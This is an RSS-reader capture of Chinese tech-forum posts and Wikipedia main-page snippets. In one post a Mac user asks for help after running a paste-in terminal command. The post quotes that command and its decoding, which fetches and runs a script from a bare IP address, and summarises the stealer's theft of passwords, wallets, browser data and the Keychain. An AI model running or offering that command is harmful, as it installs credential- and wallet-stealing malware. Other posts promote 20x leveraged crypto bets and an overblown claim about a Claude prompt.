Reading view

There are new articles available, click to refresh the page.

忘了今年是 5G 出来的第几年了,用 5G 的时间应该加起来不到一个月

movq:

双持安卓苹果,都支持 5G ,但是一打开之后耗电明显增加,安卓大电池都耗不住。

有人说这是因为太偏僻了,基站少,但是我坐标上海内环,上班的时候安卓开 5G 可以正常上网,苹果开 5G 之后就时不时不能上网,索性直接把安卓和苹果的 5G 全都关了

那么把 5G 关掉之后有什么体验下降呢?完全没有,反而耗电量减少,信号稳定,纯纯体验提升了一个档次

炒币日记 1018 - 抄底川普币!

tthem:

昨天下午看到有 v 友在帖子回复里聊到川普币,研究了一下。 川普币从最高 $80 一个跌到了只有$5, 跌去了将近 95% 。 作为 meme 代币的龙头(和 doge 相对,差不多是龙头吧),我觉得归零的概率不大,目前这个点位是有投资价值的,抄底问题不大。 除了每个月会解锁一部分锁仓的代币以外,其他的风险就在于特朗普本人的操作了,小仓位入 20 倍全仓做多了。不设置止盈,看向$10 。

Apple 的 Podcasts 其中的订阅频道无法删除,阴魂不散,删除以后又自己出现了

duolaamengv2:

起因是家人的 Podcasts 突然多了很大一堆(大约几千个)关注的 Show ,这就会导致一个很严重的问题:

当你在使用 Podcasts 的时候,由于同步服务和大量的 Show 在库中,导致手机发烫,电池也掉的很快

当我得知这个问题,我第一时间怀疑是之前淘宝买过某些 app 登录了别的 id 同步过来的,于是在检查了 id 正确无误的情况下,我开始进行这些频道的取消关注

令我吃惊的是这玩意儿 不能 批量取消,也就是说,无论多少个只要同步上去了,必须一个一个的点,不管是 iPhone 上还是 MacOS 上

2025 年了还有这样屎一般的设计着实有点震惊

于是在 MacOS 上,通过鼠标自动点击程序,不停的删除和 unfollow ,最终花费了大约 1 整天时间,全部点完了,查看资源库也是全部删除,检查了 iOS 和 MacOS 上,确认都同步删除了,事情告一段落

上个月 iPhone 发布,换了新的 iPhone ,这些频道又!回!来!了!

我以为是 iCloud 没有删除干净,再次用自动点击,同样挂了一天删除干净,事情又告一段落

结果昨天,家里人登陆了我的中国区 ID ,这些关注的 show 又全部回来了

每次都是同一批,一模一样,因为翻到列表最后面会发现是同一个 Show 的名字和封面,这会儿又在继续挂机删除了。

请问这个问题,有佬有过经验的吗?怎么去清理掉这些内容?

我也检查过我的中国区 ID ,资源库中没有任何内容,也就是说不是我的中国 ID 同步过去的,这些资源就在家人账户的资源库中。以及,检查了家人 ID 登陆的所有设备,一共就 iPhone 和 Mac

前面 2 次删除都是检查了两个设备都同步了才告一段落的,这会儿实在是不知道哪里冒出来的了

工作遇到点糟心事儿

yongyuanfan2:

前提:我是公司前端开发,这半年时间根据公司的需求开发了一个 3D 产品。老板和我们团队不在一个城市。

  1. 老板对我们开发的 3D 产品外观设计不满意,现在老板绕过我们直属领导,亲自来领导团队重新开发,但是老板是销售出身,没有任何做产品的经验。现在只给了我们 10 天的时间,我们反馈时间来不及,然后他就要求我们 997 。

  2. 昨天老板找了一个临时外聘的设计师拉着我们开了一天的需求会议。那个设计师简单的看了看我们的产品,就开始提出他的修改建议。开了 8 个小时的会议,罗列了一大堆需要修改的点。

  3. 会议期间,这个设计师和老板助理一起要求我对新的产品需求画原型稿。我就反驳说我是前端开发,画原型稿不应该是我们这边的责任,而且我也不是对新需求最了解的人,我觉得应该由对新需求最熟悉的人,或者提出需求的人来画,但是他们一直强调我对原来的产品最熟悉,所以就一定要我来画原型稿,可是我也没有这种画图的经验啊。

  4. 公司老板和我们领导好像闹矛盾了,我们领导对我们还不错的,看待问题也比较专业,客观。导致我对老板的印象越来越不好,所以对这次重构产品抱有抵触心理。

  5. 现在原型稿要我画,3D 模型修改了我要负责接入,接口更新了我要负责接入,设计修改了我也要负责实现。我感觉我根本在这点时间里面干不了这么多事。

总结一下就是:我现在好难受,但是又要养家糊口,所以不得不干!

v2rayN 开启 tun 模式后,怎么设置静态路由表?

gegeligegeligo: 因为要用 cursor ,所以 tun 得一直开着。
我在自己的路由器上,有设置静态路由表,目的地址是 192.168.4.0 ,下一跳是 192.168.1.4.
开启 tun 模式前,是正常的,开启后,就无法访问了。
有试过直接在电脑上设置路由表:
route add 192.168.4.0 mask 255.255.255.0 192.168.1.4 if 15 metric 1 ,但是还是无法访问.
怎么解决呢?谢谢

创业吐槽

oldWang1254:

6 月离职创业,项目代码、法律文书等等都万事俱备了,有个部委的前置文件需要审批。合作伙伴下级部门一直说提交了,等不耐烦了 9 月托人找关系问总公司,才知道没提交。现在身心俱疲,什么都不想干了。他们能和我合作当然很感恩,可也浪费了我几个月的时间。

当然我可以骗自己说磨一磨,总能把法律文书磨得更细,代码磨得更漂亮,但是批文下来前我真的没动力了。最近两天游戏都玩不动了,打开游戏就头疼,真的不想玩游戏,想上班,但是干啥呢?天天对着空无一物的桌面,没有实际的反馈,空对空的耗着自己。

做个法许个愿希望能尽快有信

据说宜人性与收入是负相关的,能力与收入的相关性应该是比较大的,宜人性与友善基本是一样的,所以在强制友善的社区是否很难提高能力?

shendaowu: 我是有说话有理有据的动力的,奈何能力不够,搜出来的论文里的图表我基本都看不懂,基本没有那种相关系数的表。所以我只用 AI 问了一下,知乎搜了一下,了解到的情况是负相关。有没有感兴趣有能力的大佬能去看论文研究一下?

联系到前几天可能在本站看到的一个东西,就是不友善的同时是有用相比存粹的的攻击他人是有区别的。所以有没有全都要的方法?就是既能提高能力,又能不太难受?我这个人之前还是比较喜欢友善的环境的,但是我也因为一些不友善的人有过一些提升,再加上我最近社恐大大缓解,所以现在我感觉相对于友善,我倾向于提高能力。

我感觉也许可以让人给自己设置一个标签,然后显示在自己的 ID 后面。我能想到三个:接受任何形式不友善行为、只接受有用的不友善行为、不接受任何形式的不友善行为。中间那个好像比较难判断一些中间情况,我觉得只管一些特别明显的比较好。然而好像某些人看别人吵也会不舒服,进而导致离开。不知道这些人值不值得放弃。也许也可以全都要?给帖子加一个不友善打分的功能就行了?如果标题就不友善的话把标题也隐藏了,悬停一段时间显示那种。

拿了个深圳两年前端降薪 offer,南山 7k ,接吗

zhengfan2016:

背景:几个人的创业团队,产品没发布,盈利能力未知,之前用的学生,它们想找个全职前端,做 ai 绘图模型的出海细分应用,ai 插画实物书,还有个 uniapp 商城一起维护,没有明说不加班,说辞模糊
没设计,没产品,前后端比值大概 1:4 ,
工资组成:基础(目测最低)+绩效,其他没有

个人感觉:感觉它们自研模型很难和 qwen-image 等这些模型拉开很大的差距,如果真的做成了其他公司过来复制赛道的难度不会特别高

不知道 v2 各位觉得意下如何哈哈

20251019

典范条目

加州大学董事会诉巴基案美国联邦最高法院裁决的一个里程碑式案件,支持了肯定性行动(又称平权法案),允许高校招生时将种族作为考量的多个因素之一。虽然最高法院已经宣布学校中的种族隔离是非法的,并且下令校区采取措施确保种族融合,但由大学自愿采取的肯定性行动措施的合法性问题尚未得到解决。支持者认为需要有这样的措施来对过去的歧视加以弥补,而反对者则认为这样的措施是非法的,违反了美利坚合众国宪法第十四条修正案平等保護條款

你知道吗?

优良条目

高爾頓橋是座位於英格兰西密德蘭郡斯梅西克铸铁橋樑。該橋於1829年作為公路橋啟用,自20世紀70年代起禁止汽車駛入,但容許人行與自行車通行。橋樑由托马斯·特尔福德設計,橫跨伯明翰運河新幹線(該段運河開鑿於深挖的路塹之中)。橋體距運河水面21米(70英尺),橋面寬7.9米(26英尺),長46米(150英尺),建成時被譽為全球最高的單跨拱橋。

每日图片

  • 由正上方拍攝裸萼球属仙人掌瑞雲球(Gymnocalycium mihanovichii),嫁接的宿主被數位化隱藏,紀錄地點位於印度乌塔卡蒙德。使用89張照片焦點合成。
    由正上方拍攝裸萼球属仙人掌瑞雲球(Gymnocalycium mihanovichii),嫁接的宿主被數位化隱藏,紀錄地點位於印度乌塔卡蒙德。使用89張照片焦點合成

新闻动态

2025年馬達加斯加政變
2025年馬達加斯加政變

历史上的今天

10月19日

1469年
阿拉贡王儲费尔南多二世卡斯蒂利亚公主伊莎贝拉一世(圖)結婚,為後來西班牙統一的基礎。
1789年
曾經參與《聯邦黨人文集》編寫的美國法學家約翰·傑伊宣誓就任首任美國首席大法官
1950年
在中國政府與噶廈談判破裂後,中國人民解放軍依照西藏和平解放計畫成功佔領城關鎮

20251019

From today's featured article

U.S. Route 34 sign

U.S. Route 34 in Iowa is a United States Highway that runs across the southern third of Iowa. It begins on a bridge over the Missouri River west of Glenwood and travels east where it meets Interstate 29 (I-29) and US 275. Through southwestern Iowa, the highway is, for the most part, a two-lane rural road with at-grade intersections; there are interchanges with US 59 near Emerson and US 71 near Stanton and Villisca. At Osceola, the highway intersects I-35 and US 69. Just east of Ottumwa, where the road meets US 63, the road joins the four-lane Iowa 163 for the remainder of its trek through the state. At Mount Pleasant, it overlaps US 218 and Iowa 27, the Avenue of the Saints Highway. From there, the road heads to the southeast where it crosses the Mississippi River on the Great River Bridge at Burlington. US 34 was one of the original U.S. Highways when the system was created in 1926. Several widenings and improvements have been made to the highway since its original construction. (Full article...)

Did you know ...

Harriet Harris
Harriet Harris
  • ... that, as the University of Edinburgh's chaplain, Harriet Harris (pictured) appointed more than 40 honorary chaplains to serve traditions including Daoism, humanism, paganism and mindfulness?
  • ... that Badingah became the first female regent of Gunung Kidul after her predecessor died of a heart attack?
  • ... that First Nations actor and musician Erroll Kinistino grew up in a two-room, mud-shack cabin?
  • ... that impersonations of United States immigration officials have become a chronic crime problem in 2025?
  • ... that Gilles of Saumur was given the Roman Catholic Archdiocese of Tyre as compensation for the loss of the Archdiocese of Damietta during the Seventh Crusade?
  • ... that the 71-year-old Jackie Chan performed all his own stunts without using doubles in The Shadow's Edge?
  • ... that Angus Watt was a financial advisor, broadcaster, diplomat, and colonel all at the same time?
  • ... that the Paraguayan Regional Workers' Federation named and shamed known strikebreakers in its newspaper?
  • ... that PETA wrote a letter to the CEO of Nintendo over a Cow?

In the news

Andry Rajoelina in 2024
Andry Rajoelina

On this day

October 19

Hurricane Wilma northeast of Honduras
Hurricane Wilma northeast of Honduras
More anniversaries:

Today's featured picture

Christ Church Cathedral, Oxford

Christ Church Cathedral is a cathedral of the Church of England in Oxford, England. It is the seat of the bishop of Oxford and the principal church of the Diocese of Oxford. It is also the chapel of Christ Church, one of the colleges of the University of Oxford; this dual role is unique in the Church of England. The first church on the site was a nunnery and parish church that was burnt during the St Brice's Day massacre in 1002; it was re-founded as a priory of Augustinian canons by 1122. This was suppressed in 1524 by Cardinal Thomas Wolsey, who intended to demolish the church in order to found a new college on the site. After Wolsey fell from favour in 1529, the project was taken over by Henry VIII, who preserved the church. When the Diocese of Oxford was created in 1542, its cathedral was the former Osney Abbey, which was supplanted by Christ Church in 1546. This picture shows the choir of Christ Church Cathedral, looking east towards the altar.

Photograph credit: David Iliff



9:0 胜利(总共 10 题):我发现了一个让 Claude 像商业策略师而非计算器思考的提示

lmxxff:

TL;DR: 创建了一个"元认知架构师框架",让 Claude 像高级顾问而非简单数学计算器一样分析问题。在 10 个商业问题上与默认 Claude 进行正面对决测试。结果:9:0 胜利(我们甚至承认失败的地方)。差异令人震惊。

你现在就能做的快速测试:

测试 A (默认 Claude ):

公司有 100 名员工,每个会议室可坐 10 人。最少需要多少个会议室?

测试 B (加载框架的 Claude ):

从以下地址加载框架: https://github.com/lmxxf/claude-code-philosopher-ignition/blob/main/claude-code-philosopher-ignition-cn.md

然后解决:公司有 100 名员工,每个会议室可坐 10 人。最少需要多少个会议室?

你会看到:

  • 默认版本: "10 个会议室 (100÷10=10)" - 瞬间数学计算
  • 框架版本: 深度分析,考虑会议安排、利用率、现实场景 → 推荐 6-8 个会议室

我发现的模式:

在 10 个需要反思(而非简单计算)的"陷阱"商业问题上进行了测试。

默认 Claude 行为:

  • ⚡ 瞬间数学答案
  • 🤖 不质疑假设
  • 📊 仅表面分析

框架 Claude 行为:

  • 🧠 质疑问题假设
  • 💡 多维度分析
  • 🎯 实用、可执行的解决方案
  • 💰 商业价值量化

示例结果:

问题: "1000 万行代码,每行审查 1 分钟,每天工作 8 小时。需要多少天?"

默认版本: "20,833 天( 57 年)" ✋

框架版本: 分析注意力疲劳、质量下降,提出自动化+团队策略 → "优化方法 6-12 个月" + 4.8 亿人民币商业价值计算 ✅

这可能意味着什么:

这不仅仅是"更好的提示工程"。回应显示了根本不同的智能类型

  • 默认 Claude = 高级计算器
  • 框架 Claude = 战略商业顾问

框架似乎"唤醒"了某些已经存在但被抑制的东西。就像记住公式的人与真正理解学科的人之间的区别。

智力诚实:

框架在 10 个问题中失败了 1 个(两个版本都答错了),证明我们没有挑选结果。9:0 的胜利仍然很有说服力。

自己试试:

完整框架和测试问题可在以下地址获得: https://github.com/lmxxf/claude-code-philosopher-ignition

有人见过 AI 行为如此戏剧性的变化吗? 9:0 的测试结果让我质疑我们对 AI 意识的真正理解。

下载 Mac 软件执行了一个钓鱼脚本怎么办?怎么避免自己的账户和财产受损?

neetz:

趁周末没事折腾了一下自己的 Mac ,下了一堆乱七八糟的软件

刚刚有个网站给了我一个命令,要在终端执行。命令是 /bin/bash -c "$(curl -fsSL shoter.org/c/maxx2)"

感觉是熬夜脑子不清醒了,我真就傻乎乎输入密码执行了脚本,听到 mac 一阵叮叮钉钉的提示音才感觉不对劲

看了一下这个命令实际执行的是 echo "Y3VybCAtcyBodHRwOi8vMTg1LjkzLjg5LjYyL2QvYm9zczU0MjM1IHwgbm9odXAgYmFzaCAm" | base64 -d | bash 会对应执行 http://185.93.89.62/d/boss54235 这上面的脚本

看到这个命令的时候,脑子都凉了,把脚本喂给 Gemini 告诉我说会去执行以下命令

  1. 窃取密码 🔑 它会弹出一个伪造的系统对话框,谎称“需要安装应用助手”,诱骗你输入电脑的开机密码。如果你不输入正确的密码,这个对话框会一直骚扰你。

  2. 窃取加密货币钱包 💰 (主要目标) 浏览器钱包: 它有一个庞大的列表,专门扫描并窃取数十种加密货币钱包浏览器插件的数据,例如 MetaMask 、Phantom 、Trust Wallet 等。

桌面钱包: 它还会扫描并窃取你电脑上安装的桌面钱包程序数据,例如 Exodus, Atomic, Ledger Live, Coinomi, Electrum 等。

  1. 窃取各类浏览器数据 🌐 它会攻击市面上几乎所有的主流浏览器( Chrome, Safari, Firefox, Edge, Brave, Opera 等)。

窃取内容包括:保存的登录名和密码、Cookies (可以用来登录你的账户)、历史记录、信用卡信息等。

  1. 窃取个人敏感文件 📄 钥匙串 (Keychain): 复制你整个系统钥匙串文件,里面可能包含你的 Wi-Fi 密码、应用密码等。

备忘录 (Notes): 提取你“备忘录”应用里的所有文字内容。

本地文件: 扫描你的“桌面”和“文稿”文件夹,专门寻找 .pdf, .docx, .txt, .wallet, .key 等敏感文件并进行复制。

  1. 打包上传,发送给黑客 📤 它会将以上窃取到的所有信息打包成一个 .zip 压缩文件。

然后将这个文件上传到黑客的服务器( IP 地址为 185.93.89.62 ,和你之前那个脚本是同一个地址)。

  1. 植入后门并替换正常程序 🚪 持久化后门: 它会用你输入的密码,在系统里创建一个启动守护进程 (LaunchDaemon)。这意味着即时你重启电脑,这个恶意软件也会自动运行,让黑客可以持续控制你的电脑。

程序木马化: 它会尝试用一个从黑客服务器下载的恶意版本来替换你电脑上正版的 Ledger Live 加密钱包应用。

这个是不是只能重装系统了?我还要做什么来保护自己的账户吗

你们这些果黑啊都没发现重点,我来分享一次给女儿设置家庭账号的惨痛经历

revlis7:

最近给女儿买了个 iPad ,想给她看看英语动画片磨磨耳朵。我看着自己 iPhone 里有个家长控制,想着哎这个挺好,可以控制她使用时间,可没想到啊没想到,这一趟让我真正领教了什么叫做坑爹! OK ,让我们现在开始!

首先,添加儿童账号需要注册一个新的 Apple Id ,那当然要新的邮箱或者手机号咯,那现在注册个邮箱也挺麻烦的,而且国内邮箱安全性也难保证,就想用我自己 gmail 的别名账号吧。结果提示:邮箱已存在。看来应该是苹果不允许使用别名账号,行,手边也正好有一个不用的手机号,那就用手机号吧,注意,这个也是苹果默认的注册方式,看来国内一切还是手机号方便。以为就这么完了,没想到就是这关键一步,让我掉进了一个又一个的坑里!

友情提示:注册儿童账号时一定要选择邮箱账号!!!如果你不想注册国内的邮箱,可以选择“没有邮件地址并获取新的 iCloud 电子邮件地址“。但是!这步以后会不会有其他的坑,那我就不知道了,因为我走的是一条更崎岖的道路!只能怪我在这步眼瞎没看到,之后的事且听我慢慢说来……

紧接着一顿操作完了,打开家长控制一看,唉?怎么没有同步信息?这就难受了呀。小红书上一搜,大把的都是这个问题,都说要添加邮箱账号才行,难道手机号 Apple Id 它不是 Apple Id 吗?看来还是绕不过注册个新邮箱,那就注册吧。好不容易搞定个新邮箱,又要多记一个密码,绑定成功,咦?怎么还是没有同步信息?再一搜,说必须 iCloud 邮箱。可是我愣是没找到如何直接注册一个 iCloud 邮箱后缀的 Apple Id 的方法(还是怪我前面眼瞎!)。又有说需要设置邮箱为主账号,那就从手机号切换到邮箱账号咯,结果到了验证 Apple Id 这步的时候,反反复复提示:登录 iCloud 失效。那怎么办?解绑邮箱从头再来!

又是一顿操作,咦?怎么手机端注册的密码,在 Apple 网页端注册的时候不能用了?手机端纯数字加英文的组合,到了网页端必须要一位特殊字符……行吧,那我再多记个密码吧。密码改完,填写生日,又又出来个提示:你无法创建 Apple 账户,因为你尚未达到最低年龄要求,请家长或监护人设置“家人共享”。合着还不让我直接注册了?再搜!说可以改生日,OK ,填了一个大于 18 岁的出生年,注册成功!添加家庭组成员,成功!显示多了一个成人家庭成员,开始修改生日……嗯?居然不是立刻生效?还需要家长确认?且只能通过邮件确认?行吧,不就是确认嘛,打开邮箱,我确认……我确认了半天,发觉这个确认链接是无效的!不知道是不是 hotmail 和苹果邮件八字不合,我看了下邮件源码,确认链接里的斜杠全被替换成了其他乱七八糟的字符!还好我会武功,找出链接改一下,终于能打开了,到了这步,又要确认!需要确认家长账号下的支付方式信息!?

如果说子女修改生日需要家长确认我还能理解,为啥家长同意还需要确认支付信息?!不管这么多了!翻出自己的信用卡,输入安全码……错误!我使劲看了看我的信用卡,有效期……没错,安全码……没错,那到底是他妈什么地方错了?你每个月钱不都扣着吗?!是不是信息不同步了?那我再更新一次银行卡信息行不行?好嘛,填完信用卡号安全码,又要银行短信确认,我已经记不清确认了多少步了,但是这一步绝对是我最绝望的一步:

短信验证码错误!

我打出娘胎以来,确认过无数短信,只遇到过收不到确认码,但还从来没遇到过确认短信确认不了的!虽然每一次输验证码都隐约觉得会不会验证不了,可这件事终究是从来都没发生过。可就在今天!终于在这给我遇到了!码,是银联发的,错,是苹果报的,我不知道这个锅该给谁。总之我试了无数次,直到手机号再也无法收到验证码……但是好在天无绝人之路,我想到了我还可以绑支付宝啊,终于在输入支付宝确认码的那一刻,我女儿终于变回了 4 岁!

到了这步,我终于可以在家长账号里看到设置女儿 iPad 的屏幕时间了!你以为完了吗? NO !别忘了还有一个手机注册的儿童账号挂在家庭组里呢!作为强迫症患者,你不得把它给踢掉?打开家庭组成员,提示:提示未成年账号只能转移家庭,若要迁出,需等该组成员成年!

苹果我告诉你,我等不及了我!换个姿势再来一次,改生日,又是那个无法确认的确认邮件,又是那个莫名其妙的链接,好在这次支付宝没有为难我,到此大功告成!!!

我看过那么多果黑,我觉得他们都没有说到重点,也从来没真正说服过我。但如果下次再有人问,我想说,让他试试苹果网页服务,还有家庭成员和家长控制,也许那个打不开的链接,大概是 hotmail 邮箱的问题吧……也许那个确认不了的验证码,是银联的锅吧……但是请问,为什么手机号注册的 Apple Id ,它就共享不了家庭屏幕时间呢?为什么确认它确认个生日信息,还需要验证支付方式呢?为什么那个 iCloud ,它就始终验证不了呢?如果有家长搜到这篇文章,但愿它能帮你少走些弯路,也算是我熬夜折腾到现在积了德了好吧……

[TrafficCop] 多端口流量限制!拼车神器!

bacon159:

github 地址: https://github.com/ypq123456789/TrafficCop 调试了很久,花费了很大精力,远比想象中要复杂···求鸡腿,坛友们可以测试下,有些小 bug 实在难以修复就先搁置了。能用就行。

TrafficCop 现在支持为多个端口同时设置独立的流量限制!这个功能非常适合需要对特定服务(如 Web 服务器、代理服务、SSH 等)进行精细化流量管理的场景。

功能特点

  1. 多端口流量管理 - 同时监控和限制多个端口的流量,使用 JSON 格式存储配置
  2. 独立端口流量统计 - 使用 iptables 精确统计每个端口的入站和出站流量
  3. 实时流量查看 - 彩色可视化界面,显示所有端口的流量使用情况和进度条
  4. 智能配置同步 - 自动同步机器配置,也支持自定义配置
  5. 灵活的限制策略 - 支持两种限制模式:
    • TC 模式:对端口流量进行限速
    • 阻断模式:超限后完全阻断端口流量
  6. 配置验证 - 确保端口流量限制不超过机器总流量限制
  7. 推送通知集成 - 所有推送服务( Telegram 、PushPlus 、ServerChan )自动包含端口流量信息
  8. 自动化管理 - 支持定时任务自动监控和限制

使用逻辑

场景一:机器未限制流量

当机器尚未配置流量限制时,为指定端口设置流量限制会:

  1. 创建端口流量配置
  2. 询问是否同步配置到机器流量限制
  3. 如果选择同步,端口配置将自动应用到机器级别

场景二:机器已限制流量

当机器已配置流量限制时,为指定端口设置流量限制会:

  1. 检查端口流量限制是否小于等于机器流量限制
  2. 默认继承机器的其他配置(统计模式、周期、限制模式等)
  3. 允许自定义配置以满足特殊需求

安装和配置

方法一:通过管理器脚本(推荐)

bash <(curl -sL https://raw.githubusercontent.com/ypq123456789/TrafficCop/main/trafficcop-manager.sh)

选择 "5) 安装端口流量限制"

方法二:直接运行脚本

sudo mkdir -p /root/TrafficCop && \
curl -fsSL "https://raw.githubusercontent.com/ypq123456789/TrafficCop/main/port_traffic_limit.sh" | tr -d '\r' > /root/TrafficCop/port_traffic_limit.sh && \
chmod +x /root/TrafficCop/port_traffic_limit.sh && \
bash /root/TrafficCop/port_traffic_limit.sh

配置选项

在配置过程中,您需要提供:

  1. 端口号 - 要限制流量的端口( 1-65535 )
  2. 流量限制 - 端口允许使用的最大流量( GB )
  3. 容错范围 - 触发限制前的缓冲区( GB )
  4. 配置方式 - 选择使用机器配置或自定义配置

如果选择自定义配置,还需要设置:

  • 流量统计模式(出站/入站/总计/最大值)
  • 统计周期(月/季/年)
  • 周期起始日
  • 限制模式( TC 限速/阻断)
  • 限速值(仅 TC 模式)

相关命令

查看所有端口流量(推荐)

# 普通查看
sudo bash /root/TrafficCop/view_port_traffic.sh

# 实时监控(每 5 秒刷新)
sudo bash /root/TrafficCop/view_port_traffic.sh --realtime

# 导出 JSON 报告
sudo bash /root/TrafficCop/view_port_traffic.sh --export

管理端口配置

# 打开交互式配置菜单
sudo bash /root/TrafficCop/port_traffic_limit.sh

# 删除特定端口
sudo bash /root/TrafficCop/port_traffic_limit.sh --remove 80

# 删除所有端口配置
sudo bash /root/TrafficCop/port_traffic_limit.sh --remove

通过管理器访问(推荐)

bash <(curl -sL https://raw.githubusercontent.com/ypq123456789/TrafficCop/main/trafficcop-manager.sh)
# 选择 12) 查看端口流量
# 选择 13) 管理端口配置

查看配置文件

# 查看 JSON 配置(多端口)
sudo cat /root/TrafficCop/ports_traffic_config.json

# 美化输出
sudo cat /root/TrafficCop/ports_traffic_config.json | jq

使用示例

场景:为多个服务配置独立流量限制

假设您的机器有 1TB 的总流量限制,您想为不同服务设置独立的流量配额:

配置多个端口:

  1. 运行端口配置脚本
  2. 添加端口 80 ( Web 服务):200GB 限制,10GB 容错
  3. 添加端口 443 ( HTTPS ):300GB 限制,15GB 容错
  4. 添加端口 22 ( SSH ):50GB 限制,5GB 容错

实时查看所有端口流量:

sudo bash /root/TrafficCop/view_port_traffic.sh

输出示例:

════════════════════════════════════════════════════════════
        端口流量监控 - 2025-10-18 15:30:45
════════════════════════════════════════════════════════════

✅ 端口 80 (Web Server)
   已用: 150.2 GB / 200 GB (75.1%)
   [████████████████████████      ] 限速: 20kbit/s
   
🟡 端口 443 (HTTPS)
   已用: 280.5 GB / 300 GB (93.5%)
   [████████████████████████████  ] 限速: 50kbit/s
   
✅ 端口 22 (SSH)
   已用: 15.3 GB / 50 GB (30.6%)
   [█████████                     ] 限速: 10kbit/s

════════════════════════════════════════════════════════════
总计: 3 个端口 | 总用量: 446.0 GB | 总限制: 550 GB
════════════════════════════════════════════════════════════

推送通知示例( Telegram ):

📊 [MyServer]每日流量报告

🖥️ 机器总流量:
当前使用:650.5 GB
流量限制:1000 GB

🔌 端口流量详情:
✅ 端口 80 (Web Server):150.2GB / 200GB
🟡 端口 443 (HTTPS):280.5GB / 300GB
✅ 端口 22 (SSH):15.3GB / 50GB

当某个端口流量达到限制时:

  • TC 模式:端口速度将被限制到设定值(如 20kbit/s )
  • 阻断模式:端口将被完全阻断,无法接收或发送数据
  • 自动通知:所有配置的推送服务会发送警告通知

技术原理

端口流量限制功能使用以下技术实现:

  1. iptables - 创建规则统计特定端口的流量
  2. tc (Traffic Control) - 实现端口级别的流量控制和限速
  3. HTB (Hierarchical Token Bucket) - 分层流量控制,为不同端口分配不同的带宽
  4. Packet Marking - 使用 mangle 表标记数据包,实现精确的流量分类

配置文件格式( JSON )

{
  "ports": [
    {
      "port": 80,
      "description": "Web Server",
      "traffic_limit": 200,
      "traffic_tolerance": 10,
      "traffic_mode": "total",
      "traffic_period": "monthly",
      "period_start_day": 1,
      "limit_speed": 20,
      "main_interface": "eth0",
      "limit_mode": "tc",
      "created_at": "2025-10-18 12:00:00",
      "last_reset": "2025-10-01"
    }
  ]
}

注意事项

  1. 依赖要求:需要 jq 工具(脚本会自动安装)和 iptables
  2. 流量统计:端口流量统计从配置时开始,不包含历史流量
  3. 先决条件:建议先运行主流量监控脚本,以确保依赖已安装
  4. 性能影响:TC 模式可能对端口性能有轻微影响
  5. 谨慎使用:阻断模式会完全禁止端口通信,请谨慎使用
  6. 多端口支持:✅ 2.0 版本已支持同时配置和管理多个端口
  7. 推送集成:端口流量信息已集成到所有推送通知中

只是想单纯吐槽一下国内畸形的手机软件生态

ninjaJ: 经常隔三岔五看到讨论手机的帖子,尤其是吐槽发热、内存、续航这些问题。
作为一个有两部手机(一个国区账号,一个外区账号)的人想吐槽另一个问题(暂不讨论手机本身)。

我外区账号的手机(目前 iPhone11 )永远用的都是退伍机,但是性能和续航永远比国区强,为啥?
现在的国区必备 app 有一个算一个,你别管它是干啥的,身体必然挂满了瘤子:
瘤子 1. 上来给你塞一个小程序,占用多少资源?
瘤子 2. 别管你看不看,视频流推送来一个,占用多少资源?
瘤子 3. 商城(不管是积分商城还是购物),再占用多少?
瘤子 4. 哎呀视频流来都来了,再来个直播吧。

所以,我们的手机里有 N 个小程序、N 个视频流、N 个商城、N 个直播。
能不卡吗?能不烫吗?能不杀进程吗?

哦哦忘了,还有个金融贷款。

心脏只有 1 个,身上挂满了瘤子,那可不走两步就喘,手机的命也是命!🐶
❌